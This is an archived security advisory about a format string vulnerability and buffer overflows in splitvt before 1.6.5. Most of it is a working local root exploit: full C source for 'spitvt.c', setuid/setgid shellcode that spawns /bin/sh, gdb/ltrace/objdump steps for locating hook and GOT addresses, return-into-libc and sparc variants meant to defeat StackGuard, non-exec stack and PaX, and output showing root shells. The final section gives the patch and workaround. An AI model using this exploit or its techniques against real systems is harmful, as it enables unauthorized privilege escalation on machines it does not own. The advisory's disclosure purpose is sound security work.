TUCoPS :: Linux :: Apps N-Z :: splitvt3.htm


TUCoPS :: Linux :: Apps N-Z :: splitvt3.htm

Splitvt 1.6.5 format string vuln., multiple buffer overflows
Vulnerability
 splitvt
Affected
 splitvt
Description
 Michel Kaempf found following. Splitvt is a program that splits
 any vt100 compatible screen into two - an upper and lower window
 in which you can run two programs at the same time. Splitvt
 differs from screen in that while screen gives you multiple
 virtual screens, splitvt splits your screen into two fully visible
 windows. You can even use splitvt with screen to provide multiple
 split screens. This can be very handy when running over a modem,
 or for developing client-server applications or watching routine
 tasks as you work.
 The latest splitvt versions are available via the web at:
 http://www.devolution.com/~slouken/projects/splitvt/
 Versions < 1.6.5 contain a format string vulnerability and
 numerous buffer overflows. As splitvt is installed setuid root or
 setgid tty or utmp on most systems, an attacker might be able to
 successfully exploit one of these vulnerabilities and gain special
 privileges on the local system.
 Although many of the discovered buffer overflows were exploitable,
 the program described here exploits the format string
 vulnerability present in the parserc.c module:
 sprintf(rcfile_buf, startupfile, home);
 rcfile_buf is a malloced buffer, startupfile is a string provided
 to splitvt by the user thanks to the -rcfile option, and home is
 a pointer to the HOME environment variable.
 The exploit should be portable and even work against systems
 protected with StackGuard, StackShield, OpenWall, PaX or whatever.
 The current version successfully exploits splitvt on every Linux
 system (i386, sparc, etc), and should only need a small amount
 of changes in order to work against different systems, like *BSD
 or SunOS for example. See the "Portability" section below for
 more information.
 The vulnerability looks like a classic format string
 vulnerability, and it is, except one or two details. The
 *printf() functions read their arguments on the stack, and in
 case of a format string vulnerability, they read the addresses
 where they should store the number of characters written so far
 (the %n arguments) on the stack. Here, the rcfile_buf is located
 in the heap and not on the stack, and that is why the %n arguments
 should already be present somewhere on the stack at the time the
 guilty sprintf() call is performed. The exploit stores them among
 the arguments passed to splitvt, so that they are located on the
 stack and can contain nul characters.
 The format string (startupfile) should therefore force sprintf()
 to eat every single byte on the stack until it reaches the %n
 arguments, located somewhere at the beginning of the stack. And
 the format string should be built so that rcfile_buf cannot be
 overflowed, which could happen because it was malloced to hold
 the format string, but not the *converted* format string. The
 solution is to use %c, which is 2 bytes long, but only 1 byte
 long (one character) once converted. Thus rcfile_buf will be big
 enough to hold the converted format string. And because one %c is
 only 2 bytes long but actually eats 4 bytes on the stack, the
 length of the whole format string is minimized.
 During the design of the exploit, lots of problems arose:
 - On SlackWare for example, /bin/sh (bash) drops privileges before
 actually spawning a shell. The exploit should therefore fix the
 privileges before running a shell.
 - The length modifier hh, described in printf(3), did not work
 correctly on Linux i386 systems when used along with the n
 conversion specifier (%hhn behaved just like %n). The latest
 libc release corrects this behaviour, but not everyone runs the
 latest libc.
 - Something strange is going on when passing very long arguments
 to execve() on Linux sparc. Instead of complaining because of
 a too long argument list like on Linux i386, execve()
 successfully starts the new program, but some arguments passed
 to the program are overwritten, and some environment variables
 are lost, but without any notification.
 The conclusion was: in order to build a portable exploit, a
 flexible mechanism, capable of overwriting an arbitrary number of
 arbitrary integers in memory with arbitrary integers, was needed.
 The information the exploit needs in order to successfully work
 are described in the "fixme" section of the code:
 - COMMAND: the command splitvt should run once the terminal split
 into two windows (see below);
 - HOME_VALUE: the value of the HOME environment variable (see
 below);
 - SPLITVT: the location of the setuid or setgid splitvt binary
 ("/usr/bin/splitvt" on most systems);
 - STACK: the beginning of the stack ((0xc0000000-4) on Linux i386,
 (0xf0000000-8) on Linux sparc for example);
 - n: an array where each entry indicates an integer type
 (short_int or signed_char), a pointer to an integer to be
 overwritten (pointer) and the integer which should be stored
 there (number) (see below).
 Besides the "fixme" section, the exploit also needs to know how
 many integers it should eat on the stack: its unique command line
 argument.
 The first obvious exploitation method would be to overwrite a
 function pointer somewhere in memory (__malloc_hook for example)
 with a pointer to a shellcode located somewhere on the stack (the
 HOME environment variable for example).
 Here is how to find out the address of the __malloc_hook function
 pointer:
 $ cp /usr/bin/splitvt /tmp/splitvt
 $ gdb /tmp/splitvt
 (gdb) break getopt
 (gdb) run
 (gdb) p &__malloc_hook
 0x40140cdc
 Here is the corresponding "fixme" section:
 /* <fixme> */
 #define COMMAND "foobar"
 #define HOME_VALUE \
 /* setuid( 0 ); */ \
 "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
 /* setgid( 0 ); */ \
 "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
 /* Aleph One :) */ \
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
 "\x80\xe8\xdc\xff\xff\xff/bin/sh"
 #define SPLITVT "/usr/bin/splitvt"
 #define STACK (0xc0000000-4)
 n_t n[] = {
 { short_int, (void *)(0x40140cdc+0),
 ((STACK-sizeof(SPLITVT)-sizeof(HOME_VALUE))&0x0000fffc) },
 { short_int, (void *)(0x40140cdc+2),
 ((STACK-sizeof(SPLITVT)-sizeof(HOME_VALUE))&0xffff0000)>>16 },
 { null }
 };
 /* </fixme> */
 COMMAND is set to "foobar" because it does not matter, splitvt
 will not be able to reach the part of the code which uses this
 value. The __malloc_hook function pointer will be overwritten in
 two passes (two short ints). The address of the shellcode (the
 HOME environment variable) is computed so that it is 4 bytes
 aligned (thus the &0x0000fffc) and split into two short ints. And
 the final exploitation:
 $ gcc -o spitvt spitvt.c
 $ for i in `seq 8630 8670`; do echo $i; ./spitvt $i; done
 8630
 8631
 8632
 8633
 8634
 8635
 8636
 8637
 8638
 8639
 8640
 8641
 8642
 8643
 8644
 8645
 8646
 8647
 sh-2.03# id
 uid=0(root) gid=0(root)
 The previous method will not work on systems patched with Solar
 Designer's non-executable stack patch. But at the beginning of
 the rcfile_buf buffer, located somewhere in the heap, is stored
 the content of the HOME environment variable. Thanks to ltrace
 for example, it is possible to find out the address of rcfile_buf
 and to exploit splitvt on patched systems:
 $ cp /usr/bin/splitvt /tmp/splitvt
 $ gdb /tmp/splitvt
 (gdb) break getopt
 (gdb) run
 (gdb) p &__free_hook
 0x255cd8
 $ ltrace /tmp/splitvt 2>&1 | grep malloc
 0x0805f958
 /* <fixme> */
 #define COMMAND "foobar"
 #define HOME_VALUE \
 /* setuid( 0 ); */ \
 "\x31\xdb\x89\xd8\xb0\x17\xcd\x80" \
 /* setgid( 0 ); */ \
 "\x31\xdb\x89\xd8\xb0\x2e\xcd\x80" \
 /* Aleph One :) */ \
 "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \
 "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \
 "\x80\xe8\xdc\xff\xff\xff/bin/sh"
 #define SPLITVT "/usr/bin/splitvt"
 #define STACK (0xc0000000-4)
 n_t n[] = {
 { short_int, (void *)(0x255cd8+0), /*0805*/0xf958 },
 { short_int, (void *)(0x255cd8+2), 0x0805/*f958*/ },
 { null }
 };
 /* </fixme> */
 $ gcc -o spitvt spitvt.c
 $ ./spitvt 8659
 sh-2.03# id
 uid=0(root) gid=0(root)
 The previous method will not work against systems patched with
 PaX. Therefore the exploit has to use return-into-libc style
 attacks. For example, the library call following the guilty
 sprintf() call is:
 open(rcfile_buf, O_RDONLY, 0)
 Fortunately, O_RDONLY is equal to 0, so that, if the exploit
 manages to replace the open() function with the execve() function,
 the previous library call would actually result in
 execve(rcfile_buf, NULL, NULL).
 The exploit should overwrite the GOT (Global Offset Table) entry
 of the open() function with the address of the execve() function,
 and make sure rcfile_buf contains a valid filename (rcfile_buf
 holds the HOME environment variable and garbage (the converted %c
 characters)... thus the exploit has to nul terminate the HOME
 string (thanks to a third entry in the n array) in order to create
 a valid filename):
 $ objdump -R /usr/bin/splitvt | grep open
 08052f40
 $ cp /usr/bin/splitvt /tmp/splitvt
 $ gdb /tmp/splitvt
 (gdb) break getopt
 (gdb) run
 (gdb) p execve
 0x400ec178
 $ ltrace /tmp/splitvt 2>&1 | grep malloc
 0x0805f958
 $ gcc -o /tmp/sh /tmp/sh.c
 $ cat /tmp/sh.c
 #include <unistd.h>
 int main()
 {
 char * argv[] = { "/bin/sh", NULL };
 setuid( 0 );
 setgid( 0 );
 execve( argv[0], argv, NULL );
 return( -1 );
 }
 /* <fixme> */
 #define COMMAND "foobar"
 #define HOME_VALUE "/tmp/sh"
 #define SPLITVT "/usr/bin/splitvt"
 #define STACK (0xc0000000-4)
 n_t n[] = {
 { short_int, (void *)(0x08052f40 + 0), /*400e*/0xc178 },
 { short_int, (void *)(0x08052f40 + 2), 0x400e/*c178*/ },
 { signed_char, (void *)(0x0805f958 + sizeof(HOME_VALUE) - 1), 0 },
 { null }
 };
 /* </fixme> */
 $ gcc -o spitvt spitvt.c
 $ ./spitvt 8658
 sh-2.03# id
 uid=0(root) gid=0(root)
 But wait... thanks to splitvt, it is possible to obtain two root
 shells for the price of one. The exploit has to make sure splitvt
 does not drop the privileges before spawning the shells, by
 replacing the call to setuid (or setgid, depending on the splitvt
 binary) with a harmless call, to getuid for example:
 $ objdump -R /usr/bin/splitvt | grep setuid
 08052f78
 $ objdump -T /usr/bin/splitvt | grep getuid
 08049250
 /* <fixme> */
 #define COMMAND "/tmp/sh"
 #define HOME_VALUE "foobar"
 #define SPLITVT "/usr/bin/splitvt"
 #define STACK (0xc0000000-4)
 n_t n[] = {
 { short_int, (void *)(0x08052f78 + 0), /*0804*/0x9250 },
 { short_int, (void *)(0x08052f78 + 2), 0x0804/*9250*/ },
 { null }
 };
 /* </fixme> */
 $ gcc -o spitvt spitvt.c
 $ ./spitvt 8659
 Gotcha!
 Another method, which will only work on systems where splitvt is
 setuid root, is to replace the call to getuid() with a call to
 sync(), a harmless function which always returns 0:
 $ objdump -R /usr/bin/splitvt | grep getuid
 08052f30
 $ cp /usr/bin/splitvt /tmp/splitvt
 $ gdb /tmp/splitvt
 (gdb) break getopt
 (gdb) run
 (gdb) p sync
 0x40105b80
 /* <fixme> */
 #define COMMAND "/bin/sh"
 #define HOME_VALUE "foobar"
 #define SPLITVT "/usr/bin/splitvt"
 #define STACK (0xc0000000-4)
 n_t n[] = {
 { short_int, (void *)(0x08052f30 + 0), /*4010*/0x5b80 },
 { short_int, (void *)(0x08052f30 + 2), 0x4010/*5b80*/ },
 { null }
 };
 /* </fixme> */
 $ gcc -o spitvt spitvt.c
 $ ./spitvt 8659
 Gotcha!
 That was for Linux i386. What about Linux sparc? The shellcode
 techniques (stack and heap) presented above work on Linux sparc.
 The return-into-libc attacks however will not if applied directly
 to the sparc architecture, because of the differences in the
 dynamic linking process: on sparc, there is no GOT. When
 disassembling the code corresponding to dynamically linked
 functions before the shared libraries are loaded:
 $ ls -l /usr/bin/splitvt
 -rwxr-sr-x 1 root utmp 50824 Jun 28 2000 /usr/bin/splitvt
 $ cp /usr/bin/splitvt /tmp/splitvt
 $ gdb /tmp/splitvt
 (gdb) disass setgid
 Dump of assembler code for function setgid:
 0x2beac <setgid>: sethi %hi(0x48000), %g1
 0x2beb0 <setgid+4>: b,a 0x2bd8c <_IO_stdin_used+72780>
 0x2beb4 <setgid+8>: nop
 End of assembler dump.
 (gdb) disass getgid
 Dump of assembler code for function getgid:
 0x2c014 <getgid>: sethi %hi(0xa2000), %g1
 0x2c018 <getgid+4>: b,a 0x2bd8c <_IO_stdin_used+72780>
 0x2c01c <getgid+8>: nop
 End of assembler dump.
 The code of the setgid() and getgid() functions is exactly the
 same, except the value of the second short int:
 (gdb) x 0x2beac
 0x2beac <setgid>: 0x03000120
 (gdb) x 0x2c014
 0x2c014 <getgid>: 0x03000288
 If the exploit replaces 0x0120 at the address (0x2beac+2) with
 0x0288, splitvt should not drop the privileges before spawning
 the shells:
 /* <fixme> */
 #define COMMAND "/bin/sh"
 #define HOME_VALUE "foobar"
 #define SPLITVT "/usr/bin/splitvt"
 #define STACK (0xf0000000-8)
 n_t n[] = {
 { signed_char, (void *)(0x2beac+2), 0x02 },
 { signed_char, (void *)(0x2beac+3), 0x88 },
 { null }
 };
 /* </fixme> */
 Because of the potential very long arguments described above in
 the "Further down the spiral" section, the signed_char mechanism
 was used instead of the short_int mechanism.
 $ gcc -o spitvt spitvt.c
 $ ./spitvt 8715
 sh-2.04$ id
 egid=43(utmp)
 Gotcha!
 The exploit is already almost portable, but in order to work on
 operating systems different from Linux, a few changes have to be
 made: the stack layout has to be known, because sometimes 4 bytes
 and 16 bytes alignment is required (see the "Code" section below
 for more information).
 Therefore, each time the symbolic constant STACK appears, there is
 something to adjust in the exploit.
 The code:
 /*
 * MasterSecuritY <www.mastersecurity.fr>
 *
 * spitvt.c - Local exploit for splitvt < 1.6.5
 * Copyright (C) 2001 fish stiqz <fish@analog.org>
 * Copyright (C) 2001 Michel "MaXX" Kaempf <maxx@mastersecurity.fr>
 *
 * Updated versions of this exploit and the corresponding advisory will
 * be made available at:
 *
 * ftp://maxx.via.ecp.fr/spitvt/
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation; either version 2 of the License, or (at
 * your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
 * USA
 */
 #include <limits.h>
 #include <stdint.h>
 #include <stdlib.h>
 #include <string.h>
 #include <unistd.h>
 /* array_of_strings_t */
 typedef struct array_of_strings_s {
 size_t strings;
 char ** array;
 } array_of_strings_t;
 /* type_t */
 typedef enum {
 short_int,
 signed_char,
 null
 } type_t;
 /* n_t */
 typedef struct n_s {
 type_t type;
 void * pointer;
 int number;
 } n_t;
 /* <fixme> */
 #define COMMAND ""
 #define HOME_VALUE ""
 #define SPLITVT ""
 #define STACK ()
 n_t n[] = {
 { null }
 };
 /* </fixme> */
 unsigned long int eat;
 array_of_strings_t aos_envp = { 0, NULL };
 array_of_strings_t aos_argv = { 0, NULL };
 /* array_of_strings() */
 int array_of_strings( array_of_strings_t * p_aos, char * string )
 {
 size_t strings;
 char ** array;
 if ( p_aos->strings == SIZE_MAX / sizeof(char *) ) {
 return( -1 );
 }
 strings = p_aos->strings + 1;
 array = realloc( p_aos->array, strings * sizeof(char *) );
 if ( array == NULL ) {
 return( -1 );
 }
 (p_aos->array = array)[ p_aos->strings++ ] = string;
 return( 0 );
 }
 #define HOME_KEY "HOME"
 /* home() */
 int home()
 {
 char * home;
 unsigned int envp_home;
 unsigned int i;
 home = malloc( sizeof(HOME_KEY) + sizeof(HOME_VALUE) + (4-1) );
 if ( home == NULL ) {
 return( -1 );
 }
 strcpy( home, HOME_KEY"="HOME_VALUE );
 /* if HOME_VALUE holds a shellcode and is to be executed, 4 bytes
 * alignment is sometimes required (on sparc architectures for
 * example) */
 envp_home = STACK - sizeof(SPLITVT) - sizeof(HOME_VALUE);
 for ( i = 0; i < envp_home % 4; i++ ) {
 strcat( home, "X" );
 }
 return( array_of_strings(&aos_envp, home) );
 }
 /* shell() */
 int shell()
 {
 size_t size;
 unsigned int i;
 char * shell;
 char * string;
 size = 0;
 for ( i = 0; n[i].type != null; i++ ) {
 size += sizeof(void *);
 }
 shell = malloc( size + 3 + 1 );
 if ( shell == NULL ) {
 return( -1 );
 }
 for ( i = 0; n[i].type != null; i++ ) {
 *( (void **)shell + i ) = n[i].pointer;
 }
 /* since file is 16 bytes aligned on the stack, the following 3
 * characters padding ensures shell is 4 bytes aligned */
 for ( i = 0; i < 3; i++ ) {
 shell[ size + i ] = 'X';
 }
 shell[ size + i ] = '0円';
 for ( string = shell; string <= shell+size+i; string += strlen(string)+1 ) {
 if ( array_of_strings(&aos_argv, string) ) {
 return( -1 );
 }
 }
 return( 0 );
 }
 #define S "%s"
 #define C "%c"
 #define HN "%hn"
 #define HHN "%hhn"
 /* file() */
 int file()
 {
 size_t size;
 unsigned int i, j;
 char * file;
 int number;
 unsigned int argv_file;
 size = (sizeof(S)-1) + (eat * (sizeof(C)-1));
 for ( i = 0; n[i].type != null; i++ ) {
 switch ( n[i].type ) {
 case short_int:
 /* at most USHRT_MAX 'X's are needed */
 size += USHRT_MAX + (sizeof(HN)-1);
 break;
 case signed_char:
 /* at most UCHAR_MAX 'X's are needed */
 size += UCHAR_MAX + (sizeof(HHN)-1);
 break;
 case null:
 default:
 return( -1 );
 }
 }
 file = malloc( size + (16-1) + 1 );
 if ( file == NULL ) {
 return( -1 );
 }
 i = 0;
 memcpy( file + i, S, sizeof(S)-1 );
 i += sizeof(S)-1;
 for ( j = 0; j < eat; j++ ) {
 memcpy( file + i, C, sizeof(C)-1 );
 i += sizeof(C)-1;
 }
 /* initialize number to the number of characters written so far
 * (aos_envp.array[aos_envp.strings-2] corresponds to the HOME
 * environment variable) */
 number = strlen(aos_envp.array[aos_envp.strings-2])-sizeof(HOME_KEY) + eat;
 for ( j = 0; n[j].type != null; j++ ) {
 switch ( n[j].type ) {
 case short_int:
 while ( (short int)number != (short int)n[j].number ) {
 file[ i++ ] = 'X';
 number += 1;
 }
 memcpy( file + i, HN, sizeof(HN)-1 );
 i += sizeof(HN)-1;
 break;
 case signed_char:
 while ( (signed char)number != (signed char)n[j].number ) {
 file[ i++ ] = 'X';
 number += 1;
 }
 memcpy( file + i, HHN, sizeof(HHN)-1 );
 i += sizeof(HHN)-1;
 break;
 case null:
 default:
 return( -1 );
 }
 }
 /* in order to maintain a constant distance between the sprintf()
 * arguments and the splitvt shell argument, 16 bytes alignment is
 * sometimes required (for ELF binaries for example) */
 argv_file = STACK - sizeof(SPLITVT);
 for ( j = 0; aos_envp.array[j] != NULL; j++ ) {
 argv_file -= strlen( aos_envp.array[j] ) + 1;
 }
 argv_file -= i + 1;
 for ( j = 0; j < argv_file % 16; j++ ) {
 file[ i++ ] = 'X';
 }
 file[ i ] = '0円';
 return( array_of_strings(&aos_argv, file) );
 }
 /* main() */
 int main( int argc, char * argv[] )
 {
 /* eat */
 if ( argc != 2 ) {
 return( -1 );
 }
 eat = strtoul( argv[1], NULL, 0 );
 /* aos_envp */
 array_of_strings( &aos_envp, "TERM=vt100" );
 /* home() should always be called right before NULL is added to
 * aos_envp */
 if ( home() ) {
 return( -1 );
 }
 array_of_strings( &aos_envp, NULL );
 /* aos_argv */
 array_of_strings( &aos_argv, SPLITVT );
 array_of_strings( &aos_argv, "-upper" );
 array_of_strings( &aos_argv, COMMAND );
 array_of_strings( &aos_argv, "-lower" );
 array_of_strings( &aos_argv, COMMAND );
 /* shell() should always be called right before "-rcfile" is added
 * to aos_argv */
 if ( shell() ) {
 return( -1 );
 }
 array_of_strings( &aos_argv, "-rcfile" );
 /* file() should always be called right after "-rcfile" is added to
 * aos_argv and right before NULL is added to aos_argv */
 if ( file() ) {
 return( -1 );
 }
 array_of_strings( &aos_argv, NULL );
 /* execve() */
 execve( aos_argv.array[0], aos_argv.array, aos_envp.array );
 return( -1 );
 }
Solution
 Sam Lantinga, the author, was contacted and a patch fixing the
 exploitable and potential holes found in splitvt was provided.
 He released a new splitvt version, 1.6.5, based on this patch.
 As workaround, remove the setuid or setgid bit from splitvt,
 because as mentioned in the splitvt ANNOUNCE file:
 The set-uid bit is only for updating the utmp database and for
 changing ownership of its pseudo-terminals. It is not
 necessary for splitvt's operation.
 For Debian:
 http://security.debian.org/dists/stable/updates/main/source/splitvt_1.6.5-0potato1.diff.gz
 http://security.debian.org/dists/stable/updates/main/source/splitvt_1.6.5-0potato1.dsc
 http://security.debian.org/dists/stable/updates/main/source/splitvt_1.6.5.orig.tar.gz
 http://security.debian.org/dists/stable/updates/main/binary-i386/splitvt_1.6.5-0potato1_i386.deb
 http://security.debian.org/dists/stable/updates/main/binary-m68k/splitvt_1.6.5-0potato1_m68k.deb
 http://security.debian.org/dists/stable/updates/main/binary-sparc/splitvt_1.6.5-0potato1_sparc.deb
 http://security.debian.org/dists/stable/updates/main/binary-alpha/splitvt_1.6.5-0potato1_alpha.deb
 http://security.debian.org/dists/stable/updates/main/binary-powerpc/splitvt_1.6.5-0potato1_powerpc.deb
 http://security.debian.org/dists/stable/updates/main/binary-arm/splitvt_1.6.5-0potato1_arm.deb

AltStyle によって変換されたページ (->オリジナル) /

TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2025 AOH